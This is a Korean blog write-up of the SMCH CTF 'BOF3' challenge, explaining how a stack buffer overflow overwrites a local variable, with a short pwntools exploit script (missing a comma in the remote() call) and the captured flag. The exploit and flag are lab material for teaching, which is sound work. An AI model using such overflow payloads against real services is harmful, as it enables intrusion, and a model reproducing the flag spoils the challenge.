WARGAME/smch ctf

SHCH CTF - BOF3

raar 2019. 11. 3. 22:07

 

 

BOF3번 문제당 바이너리를 다운 받아 실행 시켜보자

 

 

 

이번 문제도 문자열을 입력 받는당 그냥 아무 문자나 넣어보자

 

 

 

 

이번에도 지난번과 비슷하게 "Your IQ is .... " 머시기 하며 출력이 된당 그럼 이번에도 IDA로 분석을 해보자!

 

 

이번에도 거의 비슷하게 v4변수만 덮어주면 된당 이전과 마찬가지로 buf가 ebp-0x50( 80 ) 만큼 할당이 되어있고

v4변수는 ebp-0x10( 16 )위치에 할당되어 있다. 즉 0x50 - 0x10 64개 만큼 buf를 채우고 저 if 문에 참이 되게

값을 넣어주면 된당 그러나 이전 문제와 마찬가지로 int형 4 byte씩 넣어주어야 하기 때문에 16진수로 변환해

리틀 엔디안 방식으로 넣어주면 된다. 저 11332302 를 16진수로 변환해 주면

 

 

 

"0xACEACE"를 넣어주면 된당 최종적으로 정리하면 buf ebp-0x50만큼 할당되어 있고, v4는 ebp-0x10위치부터 있으니깐

64개 만큼 아무거나 넣어서 채우고 나머지 4byte를 저 문자열로 넣어주면 된당 

 

1
2
3
4
5
6
7
8
9
10
11
12
from pwn import*
 
p=remote("ssh.luxroot.com"9004)
 
payload=''
payload+="A"*64
payload+=p32(0xACEACE)
 
p.sendline(payload)
 
 
p.interactive()

 

위와 같이 익스를 짜고 실행 시키면 

 

 

위와 같이 flag를 딸 수 있당

 

FLAG : flag{Y0u_kn0w_bout_pipeline_or_s0cket_Kakaotalk_to_shinmg2520}